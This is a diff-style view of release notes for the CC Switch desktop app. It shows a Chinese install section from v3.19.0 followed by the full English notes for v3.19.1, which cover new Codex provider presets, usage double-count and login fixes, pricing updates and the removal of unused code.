感谢在 [#4465](https://github.com/farion1231/cc-switch/issues/4465) 与 [#5663](https://github.com/farion1231/cc-switch/issues/5663) 中反馈代理读图撑爆上下文的用户——本版最重要的代理修复来自这些真实场景的复现线索。
---
## 下载与安装
访问 [Releases](https://github.com/farion1231/cc-switch/releases/latest) 下载对应版本,或从官网 [ccswitch.io](https://ccswitch.io) 获取(本版起下载经 Cloudflare 边缘节点分发,不再依赖 GitHub 可达)。
### 系统要求
| 系统 | 最低版本 | 架构 |
| ------- | -------------------------- | ----------------------------------- |
| Windows | Windows 10 及以上 | x64 / ARM64 |
| macOS | macOS 12 (Monterey) 及以上 | Intel (x64) / Apple Silicon (arm64) |
| Linux | 见下表 | x64 / ARM64 |
### Windows
| 文件 | 说明 |
| ---------------------------------------- | ----------------------------------- |
| `CC-Switch-v3.19.0-Windows.msi` | **推荐** - MSI 安装包,支持自动更新 |
| `CC-Switch-v3.19.0-Windows-Portable.zip` | 便携版,解压即用,不写入注册表 |
Windows ARM64 设备请选择文件名中带 `arm64` 标识的对应制品。
### macOS
| 文件 | 说明 |
| -------------------------------- | --------------------------------------------- |
| `CC-Switch-v3.19.0-macOS.dmg` | **推荐** - DMG 安装包,拖入 Applications 即可 |
| `CC-Switch-v3.19.0-macOS.zip` | 解压后拖入 ApplicationsUniversal Binary |
| `CC-Switch-v3.19.0-macOS.tar.gz` | 用于 Homebrew 安装和自动更新 |
Homebrew 安装:
```bash
brew install --cask cc-switch
```
更新:
```bash
brew upgrade --cask cc-switch
```
### Linux
Linux 资产同时提供 **x86_64****ARM64**`aarch64`)两种架构。资产文件名中包含架构标识,请按你机器的 `uname -m` 输出选择对应版本:
- `CC-Switch-v3.19.0-Linux-x86_64.AppImage` / `.deb` / `.rpm`
- `CC-Switch-v3.19.0-Linux-arm64.AppImage` / `.deb` / `.rpm`
| 发行版 | 推荐格式 | 安装方式 |
| --------------------------------------- | ----------- | ---------------------------------------------------------------------- |
| Ubuntu / Debian / Linux Mint / Pop!\_OS | `.deb` | `sudo dpkg -i CC-Switch-*.deb``sudo apt install ./CC-Switch-*.deb` |
| Fedora / RHEL / CentOS / Rocky Linux | `.rpm` | `sudo rpm -i CC-Switch-*.rpm``sudo dnf install ./CC-Switch-*.rpm` |
| openSUSE | `.rpm` | `sudo zypper install ./CC-Switch-*.rpm` |
| Arch Linux / Manjaro | `.AppImage` | 添加执行权限后直接运行,或使用 AUR |
| 其他发行版 / 不确定 | `.AppImage` | `chmod +x CC-Switch-*.AppImage && ./CC-Switch-*.AppImage` |
+369
View File
@@ -0,0 +1,369 @@
# CC Switch v3.19.1
> The through-line of this release is **tying off the loose ends of the last one**: three Chinese Codex gateways have been confirmed to support the Responses API natively, so **local routing takeover is no longer required** — the DeepSeek and Volcengine Ark Coding Plan presets move from routed to direct, and the newly added Tencent Hunyuan TokenHub is direct from the start. Four failures you could hit in daily use are fixed: **Claude Desktop usage has been counted twice since v3.18.0** (the historical numbers correct themselves after upgrading, but there is a 30-day window — see "Upgrade Notes"), switching back to the official Codex provider left you stuck on a 401 with no login screen, upgrading Grok Build from Settings failed with nothing but `os error 2`, and enabling takeover on Grok Build returned a straight 404. On top of that, eight models that had been billed at $0 gain built-in pricing, and 39 interface strings have their language problem fixed. This release has **no database migration**, and it is the first release in this project's history that deletes more than it adds.
**[中文版 →](v3.19.1-zh.md) | [日本語版 →](v3.19.1-ja.md)**
---
## Highlights: What You Can Do Now
- **Connect DeepSeek, Volcengine Ark Coding Plan, and Tencent Hunyuan directly inside Codex**: all three vendors' official Codex documentation now confirms their endpoints serve the Responses API natively. The existing DeepSeek and Volcengine Ark Coding Plan presets move from Chat format to native format, so the "needs routing" badge on the provider card and the prompt on switching both disappear and requests no longer pass through the local proxy's protocol conversion; Tencent Hunyuan TokenHub is new in this release and is native from the start. **Note that DeepSeek V4 Pro cannot use the direct connection yet** — the vendor has not opened its Codex integration for that model. Use V4 Flash for direct connections (it is the preset default); see [Upgrade Notes](#deepseek-v4-pro-cannot-use-the-direct-connection-yet).
- **Let DeepSeek use the model catalog DeepSeek itself publishes**: the new "official vendor catalog mirroring" mechanism serves a vendor's published `models.json` verbatim to that vendor's own endpoint, so the freeform `apply_patch` registration and its companion GPT-5 harness stay together instead of being flattened into the neutral template. The match is on host only, never on model name — the same model resold by an aggregator may not implement the same capabilities.
- **Get correct Claude Desktop usage numbers**: since v3.18.0, Claude Desktop traffic through the local gateway has been recorded twice in the dashboard — once from the proxy and once from session-log import — roughly doubling its tokens, cost, and request counts. After this fix, every day whose detail rows are still present returns to the correct number automatically, **with no rebuild required**.
- **Sign in normally after switching back to the official Codex provider**: previously, switching from a third-party provider back to the built-in official Codex entry left the third-party key in `~/.codex/auth.json`. Codex would use it against the official endpoint and get a reliable 401 — and because the file existed, it never fell back to its own login screen, leaving no way out from inside the app.
- **Upgrade Grok Build from the Settings page**: since 0.2.112, `grok update` performs its distribution by calling npm internally, but an app launched from the GUI cannot see node, so the upgrade only ever reported `Error: No such file or directory (os error 2)`.
- **Enable takeover on Grok Build without hitting a 404**: a Grok Build provider whose API format had been changed by hand to OpenAI Chat or Anthropic would, once takeover was enabled, send requests to a route the proxy does not register — a straight 404, with no failover and no usage record. On top of that, every Grok Build request used to be treated as a new session, which disabled both cache-key injection and per-session grouping.
- **See the real cost of eight models that had been billed at $0**: `gpt-5.3-codex-spark`, `gemini-3.5-flash-lite`, `kimi-k2.7-code-highspeed`, `glm-5-turbo`, `glm-5v-turbo`, `qwen3.6-flash`, plus the undated `claude-opus-4-6` / `claude-sonnet-4-6`.
- **Read the About page's tool manager in Traditional Chinese**: 30 strings had only been added for Simplified Chinese, English, and Japanese and were missing for Traditional Chinese; because i18next silently falls back to English, that panel had been half-English since v3.16.0. A further 9 strings showed Simplified Chinese **in every language**.
- **Move back and forth between the official subscription and DeepSeek instead of choosing one**: `auth.json` and `config.toml` are single-slot files — Codex itself cannot hold a second set of credentials. A vendor's one-click script rewrites that configuration to be its own, whereas CC Switch snapshots and restores it per provider — which is the most practical difference between the two approaches; see [the comparison below](#importing-through-cc-switch-vs-running-the-official-script).
---
## Usage Guides
The changes in this release center on how Codex connects and on how usage is counted. The following docs are worth reading alongside it:
- **[Local Routing](../user-manual/en/4-proxy/4.2-routing.md)**: which providers need takeover enabled, and what takeover does. After this release, DeepSeek, Volcengine Ark Coding Plan, and Tencent Hunyuan no longer need it.
- **[Usage Statistics](../user-manual/en/4-proxy/4.4-usage.md)**: the usage dashboard's data sources and how the statistics are counted — useful for understanding how the Claude Desktop double count happened and why some historical days cannot be corrected.
- **[Using Chat-Format APIs Like DeepSeek in Codex](../guides/codex-deepseek-routing-guide-en.md)**: this guide explains how local routing converts Responses into Chat Completions. The mechanism still applies to Kimi, MiniMax, SiliconFlow, and other providers that remain Chat-shaped, but **the parts that use DeepSeek as the example no longer apply to this release** — DeepSeek now connects directly and needs no routing.
---
> [!WARNING]
>
> ## Only Official Channels (Please Read)
>
> CC Switch is a **fully free and open-source** desktop app, and we **do not charge users any fees**. Please only obtain the software through the official channels listed below:
>
> | Channel | Only Official |
> | ------------------ | ------------------------------------------------------------------------------ |
> | Website | **[ccswitch.io](https://ccswitch.io)** |
> | Source | **[github.com/farion1231/cc-switch](https://github.com/farion1231/cc-switch)** |
> | Downloads | **[GitHub Releases](https://github.com/farion1231/cc-switch/releases)** |
> | Author | **[@farion1231](https://github.com/farion1231)** |
> | Report an Imposter | **[GitHub Issues](https://github.com/farion1231/cc-switch/issues)** |
>
> **Any "CC Switch" website or client that asks you for payment, top-ups, or login credentials is fake.** If you have been tricked into paying, stop the transaction immediately and file a report through GitHub Issues.
---
## Overview
CC Switch v3.19.1 is a maintenance release along three lines. The first is Chinese Codex gateways moving to native Responses as a group: DeepSeek connects directly to `api.deepseek.com` and brings a reusable mechanism with it — mirroring the model catalog a vendor publishes itself, so the freeform `apply_patch` registration and its companion GPT-5 harness stay self-consistent rather than being folded into the neutral template; Volcengine's Ark Coding Plan endpoint `/api/coding/v3` follows now that the official documentation confirms it; and Tencent Hunyuan's TokenHub joins as a new preset. None of the three needs local routing takeover any more.
The second is four failures visible in the field: Claude Desktop usage has been recorded twice since v3.18.0 ([#5938](https://github.com/farion1231/cc-switch/issues/5938)); switching back to the built-in official Codex provider left a third-party `auth.json` behind, producing a 401 with no login screen; `grok update` reported nothing but `os error 2` when run from the GUI; and Grok Build's proxy takeover returned 404 on non-Responses backends while every request was treated as a new session ([#5677](https://github.com/farion1231/cc-switch/pull/5677)). The third is weight loss: 3,166 lines of code with no remaining caller and 4 unused npm dependencies are deleted — this is the first release in the project's history that deletes more than it adds. Beyond that, deep-link import confirmations mask more and truncate less, eight models that had been billed at $0 gain pricing, and four built-in prices are realigned with vendor list prices. This release has **no database schema migration** (the version stays at v16), so upgrading is light.
**Release date**: 2026-07-31
**Change size**: 12 commits | 71 files changed | +2,324 / -3,680 lines
---
## Added
### Official Vendor Model Catalog Mirroring (DeepSeek First)
Codex reads model capabilities from a catalog file, and CC Switch previously generated that catalog from a neutral template for every provider — which is right for an aggregator, but strips the capabilities a vendor's own integration depends on. Now, for any vendor whose official catalog is bundled with the app, that vendor's own file is mirrored directly.
DeepSeek is the first: the bundled file carries the `deepseek-v4-flash` and `deepseek-v4-pro` entries, preserving `apply_patch_tool_type: "freeform"`, `web_search_tool_type: "text"`, `supports_search_tool: true`, the low / high / max reasoning tiers, and the 17,644-character GPT-5 harness in `base_instructions` and `model_messages`**that harness has to travel together with the freeform tool registration**, because the harness itself instructs the model to use `apply_patch`; splitting either half leaves the pair inconsistent.
The gate is deliberately narrow: the provider must resolve to the native Responses profile **and** its `base_url` must be on `deepseek.com`. **Matching is by host, not by model brand** — the same model resold by an aggregator may not implement the same capabilities, and granting by brand would hand capabilities to a service that never implemented them. Entries a provider pins in its own catalog still win; an unrecognized model ID clones the flagship entry but keeps its own name. Catalogs generated for every other profile are byte-identical to before.
### Tencent Hunyuan (TokenHub) Codex Preset
The Codex preset picker gains "Tencent Hunyuan" under the Opensource Official category, between Bailian and StepFun. Selecting it writes `https://tokenhub.tencentmaas.com/v1`, `wire_api = "responses"`, and the `disable_response_storage = true` that TokenHub requires; it declares the two models `hy3` and `hy3-preview` with a **256K** context window (rather than accepting Codex's 128K default), and marks them text-only — Codex will no longer send `view_image` payloads to a model that cannot read them.
Because it is a native Responses provider, Codex connects to the gateway directly with no local routing; the generated catalog uses the neutral native template, which pins `shell_type = "shell_command"` and drops the freeform `apply_patch` registration that native gateways reject. The address manager and latency test have two candidates from the start: the primary domain and the official `.cn` backup. The regionally separate international site is deliberately excluded, because API keys do not carry across sites.
Note that the **API key must be a TokenHub key with Hy3 access enabled**; Coding Plan and Token Plan subscription keys do not work against this endpoint.
### Built-In Pricing for Eight Models That Had Been Billed at $0
`gpt-5.3-codex-spark`, `gemini-3.5-flash-lite`, `kimi-k2.7-code-highspeed` (2x the `kimi-k2.7-code` baseline, following Kimi's Turbo convention), `glm-5-turbo`, `glm-5v-turbo`, and `qwen3.6-flash` had no row at all in the built-in pricing table, and the prefix fallback could not reach them either, so every request against them was recorded at zero cost.
Two more rows — the undated `claude-opus-4-6` and `claude-sonnet-4-6` — close a subtler gap: model ID resolution only **strips** a date suffix, it never **adds** one, so a log carrying an undated ID matched nothing. All eight rows are seeded insert-if-absent, so any price you edited is untouched.
### Grok Build Joins the Failover Tabs and Environment-Conflict Detection
The failover section in Settings gains a fourth Grok Build tab alongside Claude Code, Codex, and Gemini. The environment-conflict banner shown at startup also begins detecting `XAI_API_KEY` and `GROK_DEFAULT_MODEL` — two variables that silently override whichever provider you selected in the app. Detection distinguishes exact names from prefixes, so CC Switch's own `GROK_BIN_DIR` and `GROK_HOME` are not falsely reported.
---
## Changed
### DeepSeek and Volcengine Ark Coding Plan Connect to Codex Directly, With No Local Routing
Both presets were previously marked as OpenAI Chat format, which made both of them "needs takeover": the provider card carried the "needs routing" badge, switching without the proxy running raised a prompt, and every request travelled Codex → local proxy → Responses-to-Chat → upstream.
Both vendors' official Codex integration docs now confirm their endpoints serve the Responses API — DeepSeek's `api.deepseek.com` and Volcengine's `/api/coding/v3` — so both presets are declared native Responses, the badge and the prompt disappear, and Codex connects to the gateway directly. Neither vendor's generated `config.toml` changes (it was already `wire_api = "responses"`); what changes is the catalog generation profile, and for DeepSeek the context window, which is realigned from 1,000,000 to the vendor's own 1,048,576.
BytePlus's international site deliberately stays on Chat routing until its documentation is verified separately. The Volcengine preset also carries a billing note worth knowing: the pay-as-you-go `/api/v3` endpoint **must never** be added to this preset's backup addresses — it bills separately and does not draw down plan quota.
### Catalog Display Name and Context Window Are Now Explicit-Only
Both fields previously carried local defaults — the model ID and a 128,000-token window — applied before the vendor's value had a chance to participate, so a mirrored catalog's 1M window would have been overwritten with 128K. They are now optional, with the fallbacks moved down to entry construction, so "left blank" genuinely means "keep the value the vendor declared". Providers that set the two fields explicitly, and every non-mirrored profile, generate exactly the catalog they did before.
---
## Importing Through CC Switch vs. Running the Official Script
DeepSeek publishes a one-click Codex setup script. It works, it takes backups, and it comes with a restore menu. **If this machine is only ever going to use DeepSeek, running the official script is perfectly fine.** What CC Switch addresses is a different situation: you want to move back and forth between several providers.
### Switching Providers Swaps Login State and Configuration as a Set, With No Manual Backup
`~/.codex/auth.json` and `~/.codex/config.toml` are both **single-slot files** — Codex itself has no multi-credential storage, and one configuration can only describe one provider. When you switch away from a provider, CC Switch snapshots the contents of both files into that provider's record; when you switch back, it writes them back whole. So "ChatGPT subscription → DeepSeek → back to the subscription" normally does not require another `codex login`, and moving between third-party providers requires no manual step at all. Doing the same thing by hand means copying both files before and after every switch; miss it once, and the overwritten OAuth credentials can only be recovered by signing in again.
The official script makes a different trade-off: it rewrites `config.toml` into a DeepSeek-specific configuration — pinning `preferred_auth_method = "apikey"` and `forced_login_method = "api"` at the top level to fix authentication to API key, and **deleting any existing `[profiles.*]` from `config.toml`** (Codex's own built-in mechanism for switching between providers). Your ChatGPT credentials themselves are not deleted — `auth.json` is untouched — but they cannot be used under that configuration; returning to the subscription means running the script's restore menu for a whole-file rollback, and that rollback also discards any hand edits you made to `config.toml` after installation. The script itself can only switch between flash and pro; there is no "move to a third provider" option.
### After Switching Providers, Your Old Sessions Are Still in `codex resume`
Codex sorts its resume list into drawers by the `model_provider` recorded in each session. Every third-party Codex provider CC Switch creates — DeepSeek, Kimi, an aggregator, it makes no difference — writes the same identifier `custom`, so however you switch among them, `codex resume` keeps showing the full history. On its first launch, CC Switch also performs a one-time migration that folds known per-vendor buckets (including the `deepseek` one the official script writes) into this shared bucket, backing the original files up to `~/.cc-switch/backups/` first.
**There is a clear boundary here**: that migration runs once, on CC Switch's first launch. **If you install CC Switch first and only later run the official script**, those `deepseek`-tagged sessions will not be folded in — they stay in their own drawer. Separately, a provider identifier you wrote by hand that is not on the known list is deliberately left alone.
### Official-Subscription Sessions Are Already Interleaved With Third-Party Ones in CC Switch
CC Switch's **Sessions panel scans the session directory directly and does not read `model_provider`**, so Codex sessions produced during official-subscription use have always been in the same list as third-party ones — searchable, resumable, deletable — **with no toggle required**.
If you additionally want **Codex's own `codex resume` list** to merge official and third-party sessions, that is a separate matter: Settings → General → Codex App Enhancements → **"Unified Codex session history"**, off by default. Enabling it affects new sessions only; moving existing official sessions across as well requires ticking "Also migrate existing official session history" in the enable dialog (also unchecked by default). Both are pre-existing features, not new in this release; for the edge cases see the [Unified Codex Session History guide](../guides/codex-unified-session-history-guide-en.md).
> **Two shared prerequisites, stated up front so they do not confuse you later:**
>
> **First, everything above applies to the Codex directory CC Switch points at.** That is `~/.codex` by default and can be changed in Settings. **CC Switch does not read the `CODEX_HOME` environment variable** — if you use that variable to point Codex somewhere else, CC Switch cannot see those sessions, and provider switches will be written into a directory the CLI is not using. To change the directory, use CC Switch's own config-directory setting.
>
> **Second, appearing in the same list does not mean a session can be resumed.** Codex's reasoning content (`encrypted_content`) can only be decrypted by the backend that produced it, so continuing an old session on a different provider may fail — that is upstream's design, not something CC Switch can work around.
---
## Fixed
### Claude Desktop Usage Was Counted Twice
Claude Desktop traffic through the local gateway landed twice in the usage dashboard — once as a proxy row and once as a session-import row — so its tokens, cost, and request counts were roughly doubled.
This is a regression introduced in v3.18.0: the proxy-side dedup ID carried a scope prefix for every app except `claude`, written as `session:{app}:{provider}:{message_id}`, which put `claude-desktop` in its own namespace; meanwhile the session importer kept writing the same Claude message in the bare `session:{message_id}` form with `app_type = 'claude'`. Three dedup defenses failed at once: the primary-key convergence that lets a proxy row absorb an existing session row, the write-side fingerprint probe, and the read-side filter — the latter two both comparing app type with strict equality.
The two apps now share the bare namespace again, and the two comparisons are widened by a one-way rule: a `claude` session row can be absorbed by a `claude-desktop` proxy row, **but not the reverse**. Because the read-side filter is exactly the one daily rollups aggregate through, duplicate rows already in the database stop being counted, **with no row rewritten or deleted** — this self-healing has a retention limit, see "Upgrade Notes". For Codex, Gemini, and OpenCode the widened comparison degenerates to the previous exact match, and quota checks still use strict matching. ([#5938](https://github.com/farion1231/cc-switch/issues/5938), [#5951](https://github.com/farion1231/cc-switch/pull/5951))
### Switching Back to the Official Codex Provider Left You Stuck on a 401 With No Login Screen
With the Codex API-key preservation toggle off (the default), switching to a third-party provider writes that vendor's key into `~/.codex/auth.json`. Switching afterwards to the built-in official provider — whose stored credentials are empty — took the config-only branch, so `config.toml` was replaced while the third-party `OPENAI_API_KEY` stayed on disk as it was. Codex then used that foreign key against the official endpoint and got a reliable 401; and because `auth.json` existed, it never fell back to its own login screen, leaving no way out from inside the app.
Now, after a successful switch to an official Codex provider, if `auth.json` contains only an `OPENAI_API_KEY` with no first-class credential beside it, the file is deleted — an OAuth token, a personal access token, an agent identity, or a Bedrock key all mark the file as genuine and leave it fully intact, while metadata such as `auth_mode`, `last_refresh`, or an account ID can no longer "shield" a stale key.
**Deleting the file rather than writing `{}`** is deliberate: an empty object is read by Codex as ChatGPT mode without tokens and errors at startup, whereas a missing file is equivalent to being signed out and goes straight to the login flow. The cleanup runs only after the previous provider has been successfully backfilled into the database, so the deleted key is not lost — it is stored in that provider's record and comes back when you select it again. The same change also relaxed live-config reads: the post-cleanup state (no `auth.json`, a `config.toml` present) is no longer reported as "Codex is not installed".
### Upgrading Grok Build From the Settings Page Reported Nothing but `os error 2`
Upgrading Grok Build under Settings → About failed with `Error: No such file or directory (os error 2)` and no further information.
The root cause is an asymmetry between the probe path and the execution path: probing goes through a login shell, which reads the user's rc files and therefore sees nvm, Homebrew, and Volta, while lifecycle scripts ran under a non-login shell inheriting the very narrow PATH a GUI-launched app starts with. That would normally not matter, because anchored commands invoke their target by absolute path — but grok 0.2.112 moved self-update onto npm distribution, so `grok update` internally invokes `npm view` and `npm i -g`, and npm in turn resolves node through its shebang. The inner call returned ENOENT, and grok surfaced it verbatim as that `os error 2`.
Lifecycle commands on macOS and Linux now merge the login shell's real PATH ahead of the inherited one, read by executing `/usr/bin/env` rather than echoing the variable — because fish stores PATH as a list, and echoing would yield space-separated segments. For a natively installed Grok, the upgrade chain additionally falls back to the official xAI installer, **deliberately not `npm i -g`**: npm shares both of the primary path's failure modes (no node, a mirror missing the package) and would fail alongside it; the official installer is the only route that does not depend on node, lands in the same place, and rewrites the CLI's own `installer` setting back to `internal`, incidentally healing users an earlier npm fallback had moved onto npm distribution.
### Grok Build Returned 404 With Takeover Enabled, and Every Request Looked Like a New Session
Enabling takeover on a Grok Build provider whose API format had been changed to OpenAI Chat or Anthropic produced an immediate 404, with no failover and no usage record — takeover rewrote the address and the key but left the backend field alone, so the CLI sent requests to a route the proxy does not register. Takeover now pins the backend to Responses as well; the per-provider downgrade to Chat Completions still happens in the forwarding layer, and the forced value is restored along with the whole live-config backup when the proxy stops.
The other problem was that the proxy's session detection recognized only Codex and OpenAI clients, so every Grok Build turn generated a new session ID marked "not client-provided", which suppressed both cache-key injection and per-session grouping in the dashboard. Grok's own headers are now read — the conversation ID first, then the session ID, ignoring the one that changes per request — under a separate prefix, so the records cannot collide with Codex's. ([#5677](https://github.com/farion1231/cc-switch/pull/5677))
### Nine Interface Strings Showed Simplified Chinese in Every Language
Nine strings displayed Simplified Chinese regardless of the interface language, in English and Japanese interfaces alike. Every call site used the "inline default value" form with a Chinese literal as the default, but the corresponding key was in **none** of the four locale files — and i18next walks the whole language chain before it considers an inline default, so the English fallback never got a chance and the Chinese literal won in every language.
The affected strings cover the Grok Build provider form's required-field validation, the failover hover tooltip shown when an app is not yet under takeover, the warning raised when stopping Claude Desktop routing while another app holds takeover along with its reason line, the provider-identifier read failure, the empty Codex common-config error, the routing service's stopped and stop-failed toasts, and the "unpriced" label the usage tables put on requests that carry tokens but compute to zero cost. All nine keys now exist in Simplified Chinese, English, Japanese, and Traditional Chinese. ([#5960](https://github.com/farion1231/cc-switch/pull/5960))
### The Traditional Chinese About Page's Tool Manager Fell Back to English
With the interface language set to Traditional Chinese, the tool management section of the About page displayed English — the version rows, the install and update buttons, the result toasts, the install-conflict diagnosis, and the entire upgrade confirmation dialog. That panel was built out across three separate changes, each adding strings for Simplified Chinese, English, and Japanese only; and because i18next's strategy is to fall back to English rather than error, the 30 missing keys were completely invisible in testing. **This gap had shipped in every release from v3.16.0 through v3.19.0.**
All 30 strings are now translated and the install hint is aligned with the other languages; a new locale test requires every tool-management string to exist in all four languages with matching interpolation variables, so this kind of drift will fail the test suite instead of shipping. ([#5943](https://github.com/farion1231/cc-switch/pull/5943))
### Built-In Pricing Had Drifted From Vendor List Prices
Cost is frozen against the built-in pricing table at the moment a request is logged, so a stale seeded price silently miscounts every subsequent request. Four rows are corrected in this release: `deepseek-chat` and `deepseek-reasoner` are now legacy aliases of V4 Flash at $0.14 input / $0.28 output per million tokens with $0.0028 cache read (previously $0.27/$1.10 and $0.55/$2.19); `minimax-m3` is halved to $0.30/$1.20 per the official standard tier; `gpt-5.6-luna` drops 80% to $0.20/$1.20 and `gpt-5.6-terra` drops 20% to $2/$12 following OpenAI's 2026-07-30 price cut, with `gpt-5.6-sol` deliberately unchanged and the family's cache-write ratio preserved.
The repair only rewrites a row when all four of its price columns **still equal the previous built-in values exactly**, so a price you edited yourself — or one written by models.dev sync — is never touched.
---
## Security Hardening
### Deep-Link Import Confirmations: Stricter Masking, Less Truncation
This continues the `ccswitch://` confirmation hardening from v3.19.0. Config previews are now built by a single shared module that recursively masks secrets inside nested TOML tables and JSON objects, fixing two defects that pointed in opposite directions at once: a Grok Build import **rendered no config preview at all**, while a Codex import **printed embedded `api_key` values in the clear**.
The 300-character truncation on the config preview is gone; the full content now renders in a scrollable box — closing the last place the confirmation could hide part of what it was about to write. The masking itself is stricter everywhere it is used, **including the MCP import confirmation**: sensitive-name matching adds `AUTHORIZATION`, `COOKIE`, and `CREDENTIAL`, plus exact matches for `AUTH` and `BEARER`; the plaintext prefix shown after masking shrinks from 8 characters to 4; and values of 8 characters or fewer are now replaced entirely rather than displayed as they are.
Finally, the frontend's Base64 decoder no longer trims leading and trailing whitespace — which may well be a `+` that URL decoding turned into a space. This is the same class of frontend/backend decoder divergence fixed in v3.19.0: what the confirmation displays is one thing, what the importer writes is another.
---
## Internal
### 3,166 Lines With No Caller, 14 Modules, and 4 Dependencies Removed
A pass over code with no remaining caller. On the backend it deletes the provider icon inference table, a placeholder health checker, a never-wired SSE implementation (with its own streaming and non-streaming handlers), two unused proxy session types, four unreferenced usage parsers, and a dead cost-calculation entry point — **the live billing path, its auto-detecting parsers, and session ID extraction are all untouched**. The 22 `#[allow(dead_code)]` suppressions that had kept the compiler quiet about all of it go too.
On the frontend, 14 modules with no importer are deleted, including a prompt form modal and a repository manager both superseded by panel rewrites, a duplicate proxy config hook, a circuit-breaker panel that never had an importer in the project's history, and three schema files; their strings are removed from all four languages in step. The Tauri commands behind these modules are deliberately kept. Four unused npm dependencies are also dropped. Two scripts that regenerated the hand-curated icon index are removed, and the index file's header now states that automatic regeneration is intentionally unsupported.
A companion change consolidates proxy state and takeover state onto a single query layer — there had been a second parallel set of hooks over the same commands with zero callers, whose query keys never had an observer, so every invalidation aimed at them was a no-op. The query key strings are unchanged character for character, and the surviving hook keeps its existing polling behavior. ([#5916](https://github.com/farion1231/cc-switch/pull/5916), [#5928](https://github.com/farion1231/cc-switch/pull/5928))
---
## Upgrade Notes
### No Database Migration in This Release
v3.19.1 contains no schema migration (the version stays at v16), so no pre-upgrade backup is triggered and the upgrade is ready to use immediately.
### The Claude Desktop Double-Count Self-Heal Has a 30-Day Window (Please Read)
The fix suppresses duplicate rows at query time rather than rewriting or deleting data, so **every day whose detail rows are still present returns to the correct total on the next launch**, with no rebuild needed.
But detail rows older than 30 days are aggregated into daily rollups and pruned, and a rollup is computed once, under whatever rules were in effect at aggregation time. **Any day already aggregated by a build without this fix keeps its inflated number permanently.** The regression entered with v3.18.0 (2026-07-21), so the sooner you upgrade, the more of the historical range is recovered.
### The New Pricing Affects Historical Data in Two Different Ways
The eight newly priced models are **recalculated retroactively**: at startup, requests recorded with zero cost have their cost filled in, so the dashboard numbers for those models will **go up**. Detail rows that were already aggregated and pruned cannot be recalculated and stay at zero.
The four repriced models work in the opposite direction: the backfill only touches zero-cost rows, so requests already recorded keep the old price and only new requests bill at the new one — historical and new spend for the same model will not match. Both paths protect your own pricing: the repair only changes rows still at the original built-in value, while manual edits, models.dev sync values, and deletion tombstones in `~/.cc-switch/model-pricing.json` are replayed after seeding and repair and always win.
### Preset Changes Only Affect Newly Created Providers
An already saved DeepSeek or Volcengine Ark Coding Plan provider keeps the API format it stored, still needs local routing, and still uses the old catalog. To use the direct connection, re-create the provider from the preset, or change the API format to native Responses in the provider form's advanced section.
That said, **a provider already on native Responses whose address is on `deepseek.com` picks up the mirrored official catalog on its next switch**, with no re-save required — because the check reads the live configuration.
### DeepSeek V4 Pro Cannot Use the Direct Connection Yet
The preset still lists `deepseek-v4-pro`, and the vendor's own published catalog carries it too, but **DeepSeek has not opened its Codex integration for pro**; their stated timing is early August 2026. Until then, selecting pro in direct-connection mode fails upstream — use `deepseek-v4-flash`, which is also the preset's default model.
If you need pro right now, change that provider's API format back to "OpenAI Chat" and enable local routing takeover. This is exactly the path DeepSeek used before v3.19.1: the local proxy converts the Responses requests Codex sends into Chat Completions, and pro is unaffected on that route.
### Two Prerequisites for the Official DeepSeek Catalog
The mirrored catalog declares a minimum Codex client version of 0.144.0, and **CC Switch does not verify this itself** — the freeform `apply_patch` registration it carries requires that version or newer. Separately, the generated catalog file grows to roughly 75 KB (for the two mirrored models), because each entry carries the full harness text.
### After Going Direct, Usage Attribution Moves From the Provider Name to `Codex (Session)`
DeepSeek, Volcengine Ark Coding Plan, and Tencent Hunyuan no longer need takeover, so their traffic can bypass the local proxy entirely and the proxy's per-request records no longer see them.
**The usage itself is neither lost nor indistinguishable** — Codex's session-log import records it as before, only that path does not carry provider identity: all Codex usage that did not go through the local proxy is grouped under an entry named `Codex (Session)`, official-subscription consumption included. In other words, once DeepSeek moves from routed to direct, its usage moves out from under the name "DeepSeek" and into `Codex (Session)`.
**To tell them apart, look at the model**: every usage record carries its own model ID, and the usage panel's per-model statistics list them row by row — `deepseek-v4-flash`, `hy3`, `ark-code-latest`, and the official subscription's GPT models each get their own row, with separate cost and token figures. Only when the dimension you actually need is **per provider** (comparing the same model across several aggregators, for instance) do you need to keep using local routing takeover — that route records the real provider name.
### Two Prerequisites for the Stale Codex Credential Cleanup
The cleanup runs only when the incoming provider carries the explicit official category **and** the outgoing provider was backfilled successfully. An entry created by hand without the official category, or a switch whose backfill failed, still leaves the residue on disk.
### Enabling Takeover on Grok Build Rewrites the Backend Field
Enabling takeover on a Grok Build provider now rewrites the backend field in the live configuration to Responses. The provider record stored in the database is unaffected, and the live file is restored in full from its backup when the proxy stops.
### PATH Changes for Tool Installs and Upgrades (macOS / Linux Only)
Every tool install and upgrade triggered from Settings → About now merges the login shell's PATH ahead of the inherited one, so a program a lifecycle script resolves by name may resolve differently than before; each action also starts one extra shell to read that PATH, which executes your interactive startup files. **Windows is unaffected.**
Users on grok 0.2.112 or later may see two installation records — the native one, plus the global npm package `grok update` created itself; upstream keeps them in sync and they report the same version.
### Environment-Conflict Detection Now Matches Differently
Detection for Claude Code, Codex, and Gemini has been tightened from "contains" to "prefix", so variables that merely contain an app name — `MY_ANTHROPIC_API_KEY`, `OLD_GEMINI_API_KEY` — are **no longer reported as conflicts**. Detection for Grok Build was added at the same time.
### Deep-Link Import Confirmations Show Less of Each Secret
The plaintext prefix shown after masking shrinks from 8 characters to 4, and values of 8 characters or fewer are masked entirely. This affects the MCP import confirmation as well.
---
## Risk Notice
### Carried-Over Notices
**xAI Grok OAuth sign-in**: reuses the public OAuth client identity of the official Grok CLI; using it could lead to account restriction or suspension — see the [v3.18.0 release notes](v3.18.0-en.md#risk-notice) for details.
**Codex OAuth reverse proxy**: using a ChatGPT subscription's Codex OAuth through a reverse proxy may violate OpenAI's terms of service. See the [v3.13.0 release notes](v3.13.0-en.md#-risk-notice) for details.
**SuperGrok quota queries**: the quota display on provider cards depends on a non-public billing endpoint at grok.com and may stop working once xAI changes the interface — see the [v3.19.0 release notes](v3.19.0-en.md#risk-notice) for details.
**Third-party provider routing**: when the CC Switch local proxy converts and forwards Codex, Claude Desktop, or Grok Build requests to a third-party provider, each provider has different constraints on billing, compliance, and data retention. Please read the target provider's terms of service before use.
By enabling these features, users accept the associated risks. CC Switch is not responsible for any account restriction, warning, or service suspension resulting from their use.
---
## Thanks
Most of the fixes in this release came from outside contributors — five of the six PRs are not mine.
### Code Contributions
